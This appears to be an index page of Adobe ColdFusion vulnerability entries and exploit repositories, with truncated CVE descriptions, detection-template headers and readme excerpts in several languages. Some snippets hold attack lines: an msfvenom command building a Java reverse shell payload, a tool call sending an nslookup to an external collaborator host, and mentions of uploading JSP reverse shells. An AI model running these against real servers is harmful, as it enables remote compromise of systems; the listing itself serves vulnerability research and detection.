CVE-2023-26360-RCE

CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Iniciando server.py...

Adobe Coldfusion - Authentication Bypass

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints...

Adobe ColdFusion - Deserialization of Untrusted Data

Adobe ColdFusion versions 2018u17 and earlier, 2021u7 and earlier and 2023u1 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-38203 info: name:...

Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI

Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to 1 CFIDE/administrator/settings/mappings.cfm, 2 logging/settings.cfm, 3 datasources/index.cfm, 4...

Adobe ColdFusion WDDX Deserialization Gadgets

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-44353 info: name: Adobe ColdFusion WDDX...

Adobe Coldfusion - Cross-Site Scripting

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by a reflected Cross-Site Scripting XSS vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within th...

Adobe ColdFusion - RDS Arbitrary File Write

ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018. Descripción del Exploit El exploit envía una solicitud POST que contiene una reverse shell JSP a...

Adobe_ColdFusion_RCE_Unauthenticated

CVE-2023-26360 — Adobe ColdFusion 未认证 RCE 针对 CVE-2023-26360 的 Python 远程代码执行漏洞利用实现，基于对原始 Metasploit 模块 的分析以及 jakabakos 的先前工作。 为什么需要这个 jakabakos 的概念验证尝试直接将 注入到 variables 参数中，并在一项操作中从 ColdFusion 日志读取输出。这种方法失败，因为 ColdFusion 在该上下文中不会内联评估 CFML 标签，导致返回 500 错误且无代码执行。 本实现复现了 Metasploit 模块所使用的正确两步机制： 1. 日志...

coldfusion-amf

coldfusion-amf Coldfusion AMF PWN pwn http://localhost "nslookup burpcollab.net"...

Adobe ColdFusion - Local File Read

Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier id: CVE-2023-26360 info: name: Adobe ColdFusion - Local File Read author:...

CVE-2024-20767-Adobe-ColdFusion

CVE-2024-20767-Adobe-ColdFusion Adobe ColdFusion es una plataforma de desarrollo rápido para crear e implementar aplicaciones web y móviles. CVE-2024-20767 - Las versiones de ColdFusion 2023.6, 2021.12 y anteriores están afectadas por una vulnerabilidad de Control de Acceso Inadecuado que podría...

CVE-2009-2265-fix

CVE-2009-2265 - RCE en Adobe ColdFusion Ejecución remota de código no autenticada mediante la carga arbitraria de archivos en el componente FCKeditor incluido con ColdFusion. El endpoint de carga de archivos acepta una inyección de byte nulo en el parámetro filename, lo que permite que un webshel...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2021. Descripción del Exploit El exploit envía una solicitud POST que contiene un reverse shell JSP a /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

Adobe ColdFusion - Access Control Bypass

An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. id: CVE-2023-29298 info: name: Adobe ColdFusion - Access Control Bypass author:...

Adobe ColdFusion - Unrestricted File Upload Remote Code Execution

Adobe ColdFusion versions July 12 release 2018.0.0.310739, Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution. id: CVE-2018-15961 info: name: Adobe ColdFusion - Unrestricted File Upload...

Adobe ColdFusion - Arbitrary File Read

ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary...

The vulnerability of the ColdFusion software platform, related to the lack of measures taken to protect the website structure, allows attackers to enhance their privileges.

The vulnerability of the ColdFusion software platform is related to the lack of measures taken to protect the website structure. Exploiting this vulnerability can allow a malicious actor to enhance their privileges remotely...

The vulnerability of the ColdFusion software platform, related to insufficient validation of input data, allows attackers to execute arbitrary code.

The vulnerability of the ColdFusion software platform is related to insufficient validation of input data. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...

The vulnerability of the ColdFusion software platform, related to the lack of measures taken to protect the SQL query structure, allows attackers to execute arbitrary code.

The vulnerability of the ColdFusion software platform is related to the lack of measures taken to protect the SQL query structure. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...